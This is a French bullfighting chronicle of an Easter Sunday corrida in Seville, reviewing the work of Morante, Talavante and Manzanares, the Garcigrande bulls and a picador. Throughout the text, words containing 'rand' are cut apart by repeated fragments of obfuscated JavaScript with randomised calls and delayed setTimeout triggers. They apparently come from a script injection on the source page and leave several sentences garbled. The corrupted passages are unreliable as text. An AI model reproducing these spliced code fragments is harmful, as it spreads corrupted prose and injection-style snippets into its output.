MORANTE GÉNIAL. TALAVANTE, SPLENDIDE.

Séville, 27 mars. Le Dimanche de Résurrection on a vu une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande corrida, même si sur les statistiques il n’apparaît qu’une seule oreille. Cela devrait une bonne donnée, mais comme aujourd’hui les oreilles on les comptabilise comme s’il s’agissait de buts un seul trophée ne reflète pas ce qui s’est passé dans l’arène.

Et il s’est passé beaucoup de choses. Par exemple, Morante a très bien toréé à la cape pour la réception de son premier, un toro coriace et difficile où il a manqué un peu d’engagement à la faena de muleta. Mais il l’a compensé face à son second, un autre toro qui avait du fil à retordre. Et cette fois-ci il a brindé au public et s’est joué la vie lors d’une faena où il a imposé au toro petit à petit sa cadence à un toro qui ne le voulait pas, et il lui a arraché des naturelles et des derechazos profonds, déchirants et habités par le duende. Malheureusement la faena s’est trop prolongée allant un peu à l’encontre de sa tauromachie, et après un pinchazo méritoire et une estocade inégale et habile, il a failli maintes et maintes avec le descabello. Le toro n’a pas trop tardé à mourir, mais la faena avait été trop longue et les trois avis ont sonné. Le triomphe s’est évaporé, mais la tauromachie avait triomphé.

Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante a été à un très bon niveau toute la corrida. Sa faena au troisième toro de la course, bien construite mais avec la difficulté supplémentaire d’un toro peu piqué, eut des passages excellents avec des passes fondamentales d’une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande classe. En plus il les enchaîna avec intensité et toreria. S’il avait eu devant lui un animal plus vigoureux et, par conséquent, mieux piqué, le temple aurait brillé avec une cadence majeure et la faena n’aurait pas été d’une mais de deux oreilles. Devant le dernier toro, qui n’avait pas de fixité quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and on l’appelait et chargeait vers l’intérieur, il eut le mérite et le courage de cacher le danger dans la longue faena qu’il lui imposa. S’il avait réussi son estocade il aurait coupé une nouvelle oreille.

José María Manzanares a été confronté à un lot peu reluisant, mais lui non plus n’a pas brillé quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and les toros mettaient la tête.

La corrida de Garcigrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande –ou de Domingo Hernández, c’est du pareil au même- était trop lourde de poids, n’était pas très bien faite –ce qui est assez habituel dans cet élevage- et aurait permis davantage avec des toros plus vigoureux et donc plus piqués.

Un des grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands moments de l’après-midi a eu pour protagoniste le picador José Antonio Barroso. Deux piques parfaites, présentant la poitrine du cheval, la pique projetée de manière très stylée, placée en haut, en avant, précise, la main gauche évitant la chute du cheval. Ainsi lors des deux piques. Énorme !

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